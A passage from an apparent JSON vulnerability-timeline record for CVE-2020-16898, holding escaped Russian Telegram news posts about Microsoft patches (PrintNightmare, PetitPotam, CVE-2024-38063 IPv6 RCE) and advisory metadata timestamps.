ASP.NET Core, Azure, \u0426\u0435\u043d\u0442\u0440 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Windows,  \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows, Windows Media, \u0417\u0430\u0449\u0438\u0442\u043d\u0438\u043a Windows, \u043a\u043b\u0438\u0435\u043d\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430, Microsoft Dynamics, Microsoft Edge, Microsoft Office, Microsoft Office SharePoint \u0438 \u0434\u0440.\n\n\u041a \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043e\u0448\u0438\u0431\u043a\u0430\u043c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f:\n \u2022 CVE-2021-36948: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c  \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Windows Update Medic;\n \u2022 CVE-2021-36942: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434\u043c\u0435\u043d\u044b Windows LSA;\n \u2022 CVE-2021-36936: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438  \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u0437 \u043d\u0438\u0445, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c Microsoft, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u0435 \u043b\u0438\u0448\u044c CVE-2021-36948, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0435\u043c \u0438 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0443\u043c\u0430\u043b\u0447\u0438\u0432\u0430\u0435\u0442. \u041c\u044b \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u0437\u0430 \u043d\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u043e\u044f\u0431\u0440\u044c\u0441\u043a\u0430\u044f 2020-\u0433\u043e\u0434\u0430 CVE-2020-17070, \u0430 \u0440\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u043e\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u043c \u0444\u043e\u043a\u0443\u0441\u043e\u043c \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0436\u0435 \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0447\u0438\u0445 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0443\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 CVE-2021-26424, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f Windows TCP/IP Remote Code Execution \u0432 \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 Windows 7\u201310 \u0438 Windows Server 2008\u20132019. \u041e\u0448\u0438\u0431\u043a\u0430, \u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0432\u0438\u0434\u0443 \u0435\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 CVE-2020-16898, \u044d\u043a\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0430\u044f\u0441\u044f \u0432\u0434\u043e\u043b\u044c \u0438 \u043f\u043e\u043f\u0435\u0440\u0435\u043a \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443.\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u0438 \u043a CVE-2021-26432, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 NFS ONCRPC XDR \u0441\u043b\u0443\u0436\u0431 Windows, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f  \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u043d\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041c\u043e\u0436\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432 NETSH \u0432 \u0432\u043e\u043f\u0440\u043e\u0441\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0430\u0442\u0430\u043a\u0430\u043c PetitPotam, \u043f\u0430\u0442\u0447 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0432\u0435\u043a\u0442\u043e\u0440 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044f \u0432\u044b\u0437\u043e\u0432\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 API OpenEncryptedFileRawA \u0438 OpenEncryptedFileRawW \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 LSARPC. \u041d\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u044d\u0442\u0438\u043c \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e EFS API OpenEncryptedFileRaw (A / W) \u0432 Windows 7 \u0438 Windows Server 2008, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u0412\u0441\u0435 \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PrintNightmare \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0432\u043e\u0434\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0423\u043a\u0430\u0437\u0430\u0442\u044c \u0438 \u043d\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c.\n\n\u0412\u0441\u0435 \u0431\u044b \u043d\u0438\u0447\u0435\u0433\u043e, \u043d\u043e!\n\n\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u0431\u0435\u0437\u044b\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \nBenjamin Delpy \u0437\u0430\u0431\u043e\u043c\u0431\u0438\u043b, \u0447\u0442\u043e \u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u043f\u0435\u0447\u0430\u0442\u0438 PoC, \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c Still SYSTEM from standard user\u2026\n\n\u041f\u043e\u0445\u043e\u0436\u0435, \u043e\u0442\u0432\u0435\u0442\u043d\u044b\u0439 \u00ab\u0443\u0434\u0430\u0440 \u0438\u043c\u043f\u0435\u0440\u0438\u0438\u00bb \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u043a\u043e\u0448\u0435\u0442\u0438\u043b, \u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u0442\u043e\u0440\u043e\u043d\u0443. \u042d\u0445, \u0430 \u043c\u044b \u0442\u0430\u043a \u043d\u0430\u0434\u0435\u044f\u043b\u0438\u0441\u044c.", "url": "https://t.me/true_secator/1993"}, {"timestamp": "2022-05-24T17:30:55Z", "date_only": false, "value": "2022-05-24T17:30:55Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-8VRV-2FM5-WPVR", "record": "GHSA-8VRV-2FM5-WPVR", "field": "published"}, {"timestamp": "2023-02-09T11:00:00Z", "date_only": false, "value": "2023-02-09T11:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_sick \u00b7 SCA-2020-0005", "record": "SCA-2020-0005", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2023-02-09T14:42:29.970Z", "date_only": false, "value": "2023-02-09T14:42:29.970Z", "kind": "other", "label": "Document generated", "source": "csaf_sick \u00b7 SCA-2020-0005", "record": "SCA-2020-0005", "field": "document.tracking.generator.date"}, {"timestamp": "2023-12-13T01:21:45.959Z", "date_only": false, "value": "2023-12-13T01:21:45.959361Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2020-16898", "record": "GSD-2020-16898", "field": "gsd.osvSchema.modified"}, {"timestamp": "2023-12-31T19:20:07.571Z", "date_only": false, "value": "2023-12-31T19:20:07.571Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / microsoft", "record": "cve-2020-16898", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-12-31T20:15:48.980Z", "date_only": false, "value": "2023-12-31T20:15:48.980", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2020-16898", "record": "GSD-2020-16898", "field": "namespaces.nvd.nist.gov.cve.lastModified"}, {"timestamp": "2023-12-31T21:30:22Z", "date_only": false, "value": "2023-12-31T21:30:22Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-8VRV-2FM5-WPVR", "record": "GHSA-8VRV-2FM5-WPVR", "field": "modified"}, {"timestamp": "2024-08-04T13:45:34.539Z", "date_only": false, "value": "2024-08-04T13:45:34.539Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2020-16898", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-04T13:45:34.539Z", "date_only": false, "value": "2024-08-04T13:45:34.539Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2020-16898", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-15T10:18:55Z", "date_only": false, "value": "2024-08-15T10:18:55.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/6095", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "e4e8576c-bda9-4179-9111-0410052751fe", "content": "Microsoft \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Zero-click TCP/IP RCE, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Windows \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e IPv6 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\nCVE-2024-38063 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0421\u044f\u043e\u0412\u044d\u0435\u043c\u00a0\u0438\u0437 Kunlun Lab \u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e Integer Underflow, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows 10, Windows 11 \u0438 Windows Server.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043a\u0440\u0430\u0442\u043a\u043e\u0441\u0440\u043e\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u0435, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0449\u0435\u0440\u0431, \u0434\u043e\u0431\u0430\u0432\u0438\u0432, \u0447\u0442\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 IPv6 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0435 Windows \u043d\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0434\u043e \u0435\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u043c.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0430 Microsoft, \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u043f\u0430\u043a\u0435\u0442\u044b IPv6, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0442\u043a\u043e\u0439 \u00ab\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u043e\u043b\u0435\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u0430\u00bb.\n\n\u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, Microsoft \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u043f\u0440\u043e\u0448\u043b\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043c\u0435\u0440\u044b \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows, Microsoft \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c IPv6, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\u00a0\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0442\u0435\u043a \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 IPv6 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u044c\u044e Windows Vista \u0438 Windows Server 2008 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0438 \u043d\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c IPv6, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 Windows.\n\n\u0412 ZDI Trend Micro \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 CVE-2024-38063 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Microsoft \u0432 \u043c\u0435\u0441\u044f\u0447\u043d\u043e\u043c \u043f\u0430\u0442\u0447\u0435, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 \u0435\u0451 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c \u0447\u0435\u0440\u0432\u0435\u043c.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u044d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u043f\u0435\u0440\u0432\u0430\u044f \u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u043d\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Windows, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0430\u043a\u0435\u0442\u043e\u0432 IPv6.\n\n\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0433\u043e\u0434\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b IPv6, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2020-16898/9 (Ping of Death), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f RCE \u0438 \u0430\u0442\u0430\u043a \u0442\u0438\u043f\u0430 DoS \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430 ICMPv6.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043e\u0448\u0438\u0431\u043a\u0430 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 IPv6 (CVE-2021-24086) \u0441\u0434\u0435\u043b\u0430\u043b\u0430 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Windows \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f DoS-\u0430\u0442\u0430\u043a, \u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c DHCPv6 (CVE-2023-28231) - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 RCE \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0438\u0445 \u0432 